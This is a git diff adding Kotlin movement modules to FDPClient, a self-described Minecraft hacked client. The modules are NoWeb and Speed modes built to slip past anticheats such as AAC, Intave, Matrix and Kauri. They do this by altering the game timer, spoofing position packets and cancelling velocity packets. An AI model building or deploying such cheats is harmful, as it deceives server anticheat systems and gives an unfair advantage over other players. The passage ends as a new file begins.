b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Spartan.kt @@ -0,0 +1,28 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class Spartan : NoWebMode("Spartan") { + private var usedTimer = false + @EventTarget + override fun onUpdate() { + if (usedTimer) { + mc.timer.timerSpeed = 1F + usedTimer = false + } + MovementUtils.strafe(0.27F) + mc.timer.timerSpeed = 3.7F + if (!mc.gameSettings.keyBindSneak.isKeyDown) { + mc.thePlayer.motionY = 0.0 + } + if (mc.thePlayer.ticksExisted % 2 == 0) { + mc.timer.timerSpeed = 1.7F + } + if (mc.thePlayer.ticksExisted % 40 == 0) { + mc.timer.timerSpeed = 3F + } + usedTimer = true + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Test.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Test.kt new file mode 100644 index 0000000..2a71c68 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Test.kt @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode + +class Test : NoWebMode("Test") { + + @EventTarget + override fun onUpdate() { + if (mc.thePlayer.ticksExisted % 7 == 0) { + mc.thePlayer.jumpMovementFactor = 0.42f + } + if (mc.thePlayer.ticksExisted % 7 == 1) { + mc.thePlayer.jumpMovementFactor = 0.33f + } + if (mc.thePlayer.ticksExisted % 7 == 2) { + mc.thePlayer.jumpMovementFactor = 0.08f + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/vanilla/FastFall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/vanilla/FastFall.kt new file mode 100644 index 0000000..b9a1a1a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/vanilla/FastFall.kt @@ -0,0 +1,14 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.vanilla + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode + +class FastFall : NoWebMode("FastFall") { + @EventTarget + override fun onUpdate() { + if (mc.thePlayer.onGround) mc.thePlayer.jump() + if (mc.thePlayer.motionY > 0f) { + mc.thePlayer.motionY -= mc.thePlayer.motionY * 2 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/vanilla/None.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/vanilla/None.kt new file mode 100644 index 0000000..e1d0063 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/vanilla/None.kt @@ -0,0 +1,11 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.vanilla + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode + +class None : NoWebMode("None") { + @EventTarget + override fun onUpdate() { + mc.thePlayer.isInWeb = false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/SpeedMode.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/SpeedMode.kt new file mode 100644 index 0000000..a987336 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/SpeedMode.kt @@ -0,0 +1,35 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.movement.Speed +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.features.value.Value + +abstract class SpeedMode(val modeName: String) : MinecraftInstance() { + protected val valuePrefix = "$modeName-" + + protected val speed: Speed + get() = FDPClient.moduleManager[Speed::class.java]!! + + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this) + + open fun onEnable() {} + open fun onDisable() {} + + open fun onPreMotion() {} + open fun onMotion(event: MotionEvent) {} + open fun onUpdate() {} + open fun onMove(event: MoveEvent) {} + open fun onJump(event: JumpEvent) {} + open fun onPacket(event: PacketEvent) {} + open fun onTick() {} + open fun onStrafe(event: StrafeEvent) {} +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACBHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACBHopSpeed.kt new file mode 100644 index 0000000..98a30de --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACBHopSpeed.kt @@ -0,0 +1,184 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.aac + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.util.MathHelper +import kotlin.math.cos +import kotlin.math.sin + +class AACBHopSpeed : SpeedMode("AACBHop") { + + private val bypassMode = ListValue("BhopMode", arrayOf("AAC", "AAC2", "AAC4", "AAC6", "AAC7", "LowHop2", "LowHop3"), "AAC") + + private var legitHop = true + private var waitForGround = false + + override fun onEnable() { + legitHop = true + } + + override fun onPreMotion() { + if (mc.thePlayer.isInWater) return + when (bypassMode.get().lowercase()) { + "aac" -> { + + if (MovementUtils.isMoving()) { + mc.timer.timerSpeed = 1.08f + if (mc.thePlayer.onGround) { + mc.thePlayer.motionY = 0.399 + val f = mc.thePlayer.rotationYaw * 0.017453292f + mc.thePlayer.motionX -= (MathHelper.sin(f) * 0.2f).toDouble() + mc.thePlayer.motionZ += (MathHelper.cos(f) * 0.2f).toDouble() + mc.timer.timerSpeed = 2f + } else { + mc.thePlayer.motionY *= 0.97 + mc.thePlayer.motionX *= 1.008 + mc.thePlayer.motionZ *= 1.008 + } + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + mc.timer.timerSpeed = 1f + } + } + "aac2" -> { + + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + mc.thePlayer.motionX *= 1.02 + mc.thePlayer.motionZ *= 1.02 + } else if (mc.thePlayer.motionY > -0.2) { + mc.thePlayer.jumpMovementFactor = 0.08f + mc.thePlayer.motionY += 0.01431 + mc.thePlayer.jumpMovementFactor = 0.07f + } + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } + "aac4" -> { + if (MovementUtils.isMoving()) { + if (legitHop) { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + mc.thePlayer.onGround = false + legitHop = false + } + return + } + if (mc.thePlayer.onGround) { + mc.thePlayer.onGround = false + MovementUtils.strafe(0.375f) + mc.thePlayer.jump() + mc.thePlayer.motionY = 0.41 + } else mc.thePlayer.speedInAir = 0.0211f + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + legitHop = true + } + } + "aac6" -> { + mc.timer.timerSpeed = 1f + + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + if (legitHop) { + mc.thePlayer.motionY = 0.4 + MovementUtils.strafe(0.15f) + mc.thePlayer.onGround = false + legitHop = false + return + } + mc.thePlayer.motionY = 0.41 + MovementUtils.strafe(0.47458485f) + } + + if (mc.thePlayer.motionY < 0 && mc.thePlayer.motionY > -0.2) mc.timer.timerSpeed = + (1.2 + mc.thePlayer.motionY).toFloat() + + mc.thePlayer.speedInAir = 0.022151f + } else { + legitHop = true + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } + "aac7" -> { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + mc.thePlayer.motionY = 0.405 + mc.thePlayer.motionX *= 1.004 + mc.thePlayer.motionZ *= 1.004 + return + } + + val speed = MovementUtils.getSpeed() * 1.0072 + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + mc.thePlayer.motionX = -sin(yaw) * speed + mc.thePlayer.motionZ = cos(yaw) * speed + } + "lowhop2" -> { + mc.timer.timerSpeed = 1f + + if (MovementUtils.isMoving()) { + mc.timer.timerSpeed = 1.09f + if (mc.thePlayer.onGround) { + if (legitHop) { + mc.thePlayer.jump() + legitHop = false + return + } + mc.thePlayer.motionY = 0.343 + MovementUtils.strafe(0.534f) + } + } else { + legitHop = true + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } + "lowhop3" -> { + if (MovementUtils.isMoving()) { + if (mc.thePlayer.hurtTime <= 0) { + if (mc.thePlayer.onGround) { + waitForGround = false + if (!legitHop) legitHop = true + mc.thePlayer.jump() + mc.thePlayer.motionY = 0.41 + } else { + if (waitForGround) return + if (mc.thePlayer.isCollidedHorizontally) return + legitHop = false + mc.thePlayer.motionY -= 0.0149 + } + if (!mc.thePlayer.isCollidedHorizontally) MovementUtils.forward(if (legitHop) 0.0016 else 0.001799) + } else { + legitHop = true + waitForGround = true + } + } else { + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.motionX = 0.0 + } + + val speed = MovementUtils.getSpeed().toDouble() + mc.thePlayer.motionX = -(sin(MovementUtils.direction) * speed) + mc.thePlayer.motionZ = cos(MovementUtils.direction) * speed + } + } + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + mc.thePlayer.speedInAir = 0.02f + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACGroundSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACGroundSpeed.kt new file mode 100644 index 0000000..c559eda --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACGroundSpeed.kt @@ -0,0 +1,29 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.aac + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition + +class AACGroundSpeed : SpeedMode("AACGround") { + private val timerValue = FloatValue("${valuePrefix}Timer", 3f, 1.1f, 10f) + private val speedValue = FloatValue("${valuePrefix}GroundSpeed", 0.25f, 0.00f, 0.36f) + private val extraValue = BoolValue("${valuePrefix}ExtraPacket", true) + + override fun onUpdate() { + if (!MovementUtils.isMoving() || !mc.thePlayer.onGround) return + mc.timer.timerSpeed = timerValue.get() + MovementUtils.strafe(speedValue.get()) + if (extraValue.get()) mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACHop3313Speed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACHop3313Speed.kt new file mode 100644 index 0000000..bb01357 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACHop3313Speed.kt @@ -0,0 +1,52 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.aac + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getBlock +import net.minecraft.block.BlockCarpet +import net.minecraft.util.MathHelper + +class AACHop3313Speed : SpeedMode("AACHop3.3.13") { + override fun onUpdate() { + if (!MovementUtils.isMoving() || mc.thePlayer.isInWater || mc.thePlayer.isInLava || mc.thePlayer.isOnLadder || mc.thePlayer.isRiding || mc.thePlayer.hurtTime > 0) return + + when { + (mc.thePlayer.onGround && mc.thePlayer.isCollidedVertically) -> { + // MotionXYZ + val yawRad = mc.thePlayer.rotationYaw * 0.017453292f + mc.thePlayer.motionX -= (MathHelper.sin(yawRad) * 0.202f).toDouble() + mc.thePlayer.motionZ += (MathHelper.cos(yawRad) * 0.202f).toDouble() + mc.thePlayer.motionY = 0.405 + FDPClient.eventManager.callEvent(JumpEvent(0.405f,0F)) + MovementUtils.strafe() + } + + mc.thePlayer.fallDistance < 0.31f -> { + if (getBlock(mc.thePlayer.position) is BlockCarpet) { // why? + return + } + + // Motion XZ + mc.thePlayer.jumpMovementFactor = if (mc.thePlayer.moveStrafing == 0f) 0.027f else 0.021f + mc.thePlayer.motionX *= 1.001 + mc.thePlayer.motionZ *= 1.001 + + // Motion Y + if (!mc.thePlayer.isCollidedHorizontally) mc.thePlayer.motionY -= 0.014999993 + } + + else -> mc.thePlayer.jumpMovementFactor = 0.02f + } + } + + override fun onDisable() { + mc.thePlayer.jumpMovementFactor = 0.02f + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACHop350Speed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACHop350Speed.kt new file mode 100644 index 0000000..cc2dc56 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACHop350Speed.kt @@ -0,0 +1,41 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.aac + +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class AACHop350Speed : SpeedMode("AACHop3.5.0") { + override fun onMotion(event: MotionEvent) { + if (event.eventState === EventState.POST && MovementUtils.isMoving() && !mc.thePlayer.isInWater && !mc.thePlayer.isInLava) { + mc.thePlayer.jumpMovementFactor += 0.00208f + if (mc.thePlayer.fallDistance <= 1f) { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + mc.thePlayer.motionX *= 1.0118 + mc.thePlayer.motionZ *= 1.0118 + } else { + mc.thePlayer.motionY -= 0.0147 + mc.thePlayer.motionX *= 1.00138 + mc.thePlayer.motionZ *= 1.00138 + } + } + } + } + + override fun onEnable() { + if (mc.thePlayer.onGround) { + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.motionX = mc.thePlayer.motionZ + } + } + + override fun onDisable() { + mc.thePlayer.jumpMovementFactor = 0.02f + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACPortSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACPortSpeed.kt new file mode 100644 index 0000000..61e18e1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACPortSpeed.kt @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.aac + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getBlock +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.block.BlockAir +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.util.BlockPos +import net.minecraft.util.MathHelper + +class AACPortSpeed : SpeedMode("AACPort") { + private val length = FloatValue("${valuePrefix}Length", 1F, 1F, 20F) + + override fun onUpdate() { + if (!MovementUtils.isMoving()) return + + val f = mc.thePlayer.rotationYaw * 0.017453292f + var d = 0.2 + while (d <= length.get()) { + val x = mc.thePlayer.posX - MathHelper.sin(f) * d + val z = mc.thePlayer.posZ + MathHelper.cos(f) * d + + if (mc.thePlayer.posY < mc.thePlayer.posY.toInt() + 0.5 && getBlock(BlockPos(x, mc.thePlayer.posY, z)) !is BlockAir) { + break + } + + mc.thePlayer.sendQueue.addToSendQueue(C04PacketPlayerPosition(x, mc.thePlayer.posY, z, true)) + d += 0.2 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACYPort2Speed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACYPort2Speed.kt new file mode 100644 index 0000000..3817df7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACYPort2Speed.kt @@ -0,0 +1,23 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.aac + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class AACYPort2Speed : SpeedMode("AACYPort2") { + override fun onPreMotion() { + if (MovementUtils.isMoving()) { + mc.thePlayer.cameraPitch = 0f + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + mc.thePlayer.motionY = 0.3851 + mc.thePlayer.motionX *= 1.01 + mc.thePlayer.motionZ *= 1.01 + } else mc.thePlayer.motionY = -0.21 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACYPortSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACYPortSpeed.kt new file mode 100644 index 0000000..8eb0eb8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/aac/AACYPortSpeed.kt @@ -0,0 +1,22 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.aac + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class AACYPortSpeed : SpeedMode("AACYPort") { + override fun onPreMotion() { + if (MovementUtils.isMoving() && !mc.thePlayer.isSneaking) { + mc.thePlayer.cameraPitch = 0f + if (mc.thePlayer.onGround) { + mc.thePlayer.motionY = 0.3425 + mc.thePlayer.motionX *= 1.5893 + mc.thePlayer.motionZ *= 1.5893 + } else mc.thePlayer.motionY = -0.19 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/intave/IntaveHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/intave/IntaveHopSpeed.kt new file mode 100644 index 0000000..f2bc9a0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/intave/IntaveHopSpeed.kt @@ -0,0 +1,29 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.intave + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.client.settings.GameSettings +import net.ccbluex.liquidbounce.features.value.BoolValue + +class IntaveHopSpeed : SpeedMode("IntaveHop") { + private val groundStrafe = BoolValue("${valuePrefix}Strafe", false) + + override fun onUpdate() { + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + mc.gameSettings.keyBindJump.pressed = false + mc.timer.timerSpeed = 1.0f + if (groundStrafe.get()) MovementUtils.strafe() + mc.thePlayer.jump() + } + + if (mc.thePlayer.motionY > 0.003) { + mc.thePlayer.motionX *= 1.0015 + mc.thePlayer.motionZ *= 1.0015 + mc.timer.timerSpeed = 1.06f + } + } + + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/intave/IntaveSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/intave/IntaveSpeed.kt new file mode 100644 index 0000000..7a735f2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/intave/IntaveSpeed.kt @@ -0,0 +1,27 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.intave + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + + +class IntaveSpeed : SpeedMode("Intave") { + + override fun onUpdate(){ + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + mc.gameSettings.keyBindJump.pressed = false + mc.thePlayer.jump() + } + if (!mc.thePlayer.onGround && mc.thePlayer.fallDistance <= 0.1) { + mc.timer.timerSpeed = 1.4f + } + if (mc.thePlayer.fallDistance > 0.1 && mc.thePlayer.fallDistance < 1.3) { + mc.timer.timerSpeed = 0.7f + } + if (mc.thePlayer.fallDistance >= 1.3) { + mc.timer.timerSpeed = 1f + } + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/intave/IntaveStrafeSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/intave/IntaveStrafeSpeed.kt new file mode 100644 index 0000000..dcda699 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/intave/IntaveStrafeSpeed.kt @@ -0,0 +1,33 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.intave + +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.MovementUtils + +class IntaveStrafe : SpeedMode("IntaveStrafe") { + private val intaveBoostTest = BoolValue("IntaveBoostTest", false) + private var offGroundTicks = 0 + + override fun onMotion(event: MotionEvent) { + if(!mc.thePlayer.onGround) + offGroundTicks++ + else offGroundTicks = 0 + + if(mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + + if (offGroundTicks >= 10) { + MovementUtils.setMoveSpeed(MovementUtils.getSpeed().toDouble()) + } + + if(intaveBoostTest.get()) { + if (mc.thePlayer.motionY > 0.003) { + mc.thePlayer.motionX *= 1.0015 + mc.thePlayer.motionZ *= 1.0015 + mc.timer.timerSpeed = 1.1f + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/kauri/KauriLowHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/kauri/KauriLowHopSpeed.kt new file mode 100644 index 0000000..b759a31 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/kauri/KauriLowHopSpeed.kt @@ -0,0 +1,36 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.kauri + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.client.settings.GameSettings + +class KauriLowHopSpeed : SpeedMode("KauriLowHop") { + private var ticks = 0 + + override fun onUpdate() { + ticks++ + if (!mc.thePlayer.onGround && ticks == 3) { + mc.thePlayer.motionY = 0.00 + } + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + if (mc.thePlayer.onGround && MovementUtils.isMoving()) { + mc.gameSettings.keyBindJump.pressed = false + mc.thePlayer.jump() + mc.thePlayer.motionY = 0.3001145141919810 + if (MovementUtils.getSpeed() < 0.22) { + MovementUtils.strafe(0.22f) + }else { + MovementUtils.strafe(0.48f) + } + } + if (!MovementUtils.isMoving()) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } + + override fun onDisable() { + ticks = 0 + mc.timer.timerSpeed = 1f + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/matrix/Matrix661Speed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/matrix/Matrix661Speed.kt new file mode 100644 index 0000000..ed42d9e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/matrix/Matrix661Speed.kt @@ -0,0 +1,114 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.client.settings.GameSettings +import net.minecraft.network.play.server.S12PacketEntityVelocity +import kotlin.math.sqrt + +class Matrix661Speed : SpeedMode("Matrix6.6.1") { + private val veloBoostValue = BoolValue("${valuePrefix}VelocBoost", true) + private val timerBoostValue = BoolValue("${valuePrefix}TimerBoost", false) + private val usePreMotion = BoolValue("${valuePrefix}UsePreMotion", false) + private var recX = 0.0 + private var recZ = 0.0 + + override fun onUpdate() { + if (usePreMotion.get()) return + mc.thePlayer.jumpMovementFactor = 0.0266f + if (!mc.thePlayer.onGround) { + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + if (MovementUtils.getSpeed() < 0.217) { + MovementUtils.strafe(0.217f) + mc.thePlayer.jumpMovementFactor = 0.0269f + } + } + if (mc.thePlayer.motionY < 0) { + timer(1.09f) + if (mc.thePlayer.fallDistance > 1.4) + timer(1.0f) + } else { + timer(0.95f) + } + if (mc.thePlayer.onGround && MovementUtils.isMoving()) { + mc.gameSettings.keyBindJump.pressed = false + timer(1.03f) + mc.thePlayer.jump() + if (mc.thePlayer.movementInput.moveStrafe <= 0.01 && mc.thePlayer.movementInput.moveStrafe >= -0.01) { + MovementUtils.strafe((MovementUtils.getSpeed() * 1.0071).toFloat()) + } + } else if (!MovementUtils.isMoving()) { + timer(1.0f) + } + if (MovementUtils.getSpeed() < 0.22) + MovementUtils.strafe() + } + + override fun onPreMotion() { + if (!usePreMotion.get()) return + mc.thePlayer.jumpMovementFactor = 0.0266f + if (!mc.thePlayer.onGround) { + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + if (MovementUtils.getSpeed() < 0.217) { + MovementUtils.strafe(0.217f) + mc.thePlayer.jumpMovementFactor = 0.0269f + } + } + if (mc.thePlayer.motionY < 0) { + timer(1.09f) + if (mc.thePlayer.fallDistance > 1.4) + timer(1.0f) + } else { + timer(0.95f) + } + if (mc.thePlayer.onGround && MovementUtils.isMoving()) { + mc.gameSettings.keyBindJump.pressed = false + timer(1.03f) + mc.thePlayer.jump() + if (mc.thePlayer.movementInput.moveStrafe <= 0.01 && mc.thePlayer.movementInput.moveStrafe >= -0.01) { + MovementUtils.strafe((MovementUtils.getSpeed() * 1.0071).toFloat()) + } + } else if (!MovementUtils.isMoving()) { + timer(1.0f) + } + if (MovementUtils.getSpeed() < 0.22) + MovementUtils.strafe() + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + } + + private fun timer(value: Float) { + if(timerBoostValue.get()) { + mc.timer.timerSpeed = value + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is S12PacketEntityVelocity && veloBoostValue.get()) { + if (mc.thePlayer == null || (mc.theWorld?.getEntityByID(packet.entityID) ?: return) != mc.thePlayer) { + return + } + event.cancelEvent() + + recX = packet.motionX / 8000.0 + recZ = packet.motionZ / 8000.0 + if (sqrt(recX * recX + recZ * recZ) > MovementUtils.getSpeed()) { + MovementUtils.strafe(sqrt(recX * recX + recZ * recZ).toFloat()) + mc.thePlayer.motionY = packet.motionY / 8000.0 + } + + MovementUtils.strafe((MovementUtils.getSpeed() * 1.1).toFloat()) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/matrix/Matrix670Speed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/matrix/Matrix670Speed.kt new file mode 100644 index 0000000..7fd7583 --- /dev/null +++ 